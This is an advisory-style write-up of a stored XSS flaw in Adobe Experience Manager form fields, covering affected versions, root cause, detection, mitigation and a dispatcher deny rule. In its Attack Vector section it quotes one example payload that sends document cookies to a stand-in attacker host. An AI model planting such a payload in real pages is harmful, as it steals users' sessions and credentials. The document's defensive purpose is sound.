CVE-2026-47990: Adobe Experience Manager XSS Vulnerability

CVE-2026-47990 Overview

CVE-2026-47990 is a stored Cross-Site Scripting (XSS) vulnerability [CWE-79] affecting Adobe Experience Manager (AEM). The flaw impacts AEM versions 6.5.24, LTS SP1, 2026.04, and earlier releases, including AEM Cloud Service. A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields. The payload executes in the browser of any victim who loads the page containing the affected field. The CVSS vector indicates a scope change, meaning the injected script can affect resources beyond the vulnerable component. Adobe published advisory APSB26-56 covering this issue.

Critical Impact
Authenticated attackers can persistently store JavaScript that executes in other users' browser sessions, enabling session theft, credential harvesting, and unauthorized actions within the AEM authoring environment.

Affected Products

Adobe Experience Manager 6.5.24 and earlier
Adobe Experience Manager LTS SP1 and earlier
Adobe Experience Manager 2026.04 and earlier (including AEM Cloud Service)

Discovery Timeline

2026-06-09 - CVE-2026-47990 published to NVD
2026-06-10 - Last updated in NVD database

Technical Details for CVE-2026-47990

Vulnerability Analysis

The vulnerability is a stored XSS flaw in Adobe Experience Manager form handling. AEM fails to properly sanitize or encode user-supplied input submitted to specific form fields before persisting it. When another user views the page rendering that stored content, the browser interprets the injected payload as executable JavaScript.

Exploitation requires the attacker to hold a low-privileged authenticated account capable of submitting content to a vulnerable form. The attack succeeds when an authorized user later browses to the page that displays the stored field. User interaction is required on the victim side, typically loading the affected page.

Because the CVSS vector marks scope as changed, the executing script can access resources or data outside the security context of the vulnerable component. In AEM environments this is significant because author and admin users commonly hold elevated session privileges over the broader CMS.

Root Cause

The root cause is insufficient output encoding or input sanitization on form field values rendered into HTML responses. AEM stores raw attacker-controlled strings and reflects them back into the DOM without neutralizing characters such as <, >, and ", allowing <script> tags or event-handler attributes to execute.

Attack Vector

The attack vector is network-based and requires authentication. An attacker with a low-privileged AEM account submits a payload such as <script>fetch('https://attacker.tld/?c='+document.cookie)</script> into a vulnerable form field. The payload is persisted in the AEM repository. When a higher-privileged author, editor, or content reviewer subsequently loads the page rendering that field, the payload executes under their session, enabling cookie theft, CSRF against AEM APIs, or content tampering.

No verified proof-of-concept code is publicly available for CVE-2026-47990.
Refer to the Adobe security advisory APSB26-56 for vendor-confirmed details.

Detection Methods for CVE-2026-47990

Indicators of Compromise

Unexpected <script>, onerror, onload, or javascript: tokens stored within AEM JCR nodes corresponding to form field properties.
Outbound HTTP requests from author or editor workstations to unfamiliar domains immediately after loading AEM content pages.
Anomalous session activity from privileged AEM accounts following content edits made by low-privileged users.

Detection Strategies

Audit AEM access.log and request.log for POST requests to form-submission endpoints containing encoded angle brackets, script, or common XSS payload patterns.
Inspect JCR content nodes for properties holding HTML or JavaScript markup in fields expected to contain plain text.
Deploy Content Security Policy (CSP) reporting to surface inline script execution attempts in AEM author and publish responses.

Monitoring Recommendations

Forward AEM dispatcher and application logs to a centralized analytics platform and alert on payload signatures matching CWE-79 patterns.
Monitor browser telemetry from author workstations for unexpected script execution or cross-origin requests originating from AEM URLs.
Track privilege use by accounts that recently viewed content submitted by low-privileged users.

How to Mitigate CVE-2026-47990

Immediate Actions Required

Apply the security updates referenced in Adobe advisory APSB26-56 to all on-premise AEM instances.
For AEM Cloud Service, confirm tenants are running a release later than 2026.04 and accept the latest service updates.
Review and revoke unnecessary low-privileged accounts that can submit content to forms exposed by AEM.

Patch Information

Adobe addressed CVE-2026-47990 in the updates listed in the Adobe Experience Manager Security Advisory APSB26-56. Customers running AEM 6.5.24, LTS SP1, 2026.04, or earlier must upgrade to the fixed versions published by Adobe.

Workarounds

Restrict access to vulnerable form-submission endpoints at the dispatcher or web application firewall layer until patching is complete.
Enforce a strict Content Security Policy that disallows inline scripts on AEM author and publish responses.
Apply input filtering rules on the dispatcher to block requests containing common XSS payload patterns such as <script, onerror=, and javascript:.

bash

# Example AEM dispatcher filter rule to block XSS-like payloads in form parameters
/0100 { /type "deny" /method "POST" /url "*.form.html*" /query "*(<script|onerror=|javascript:)*" }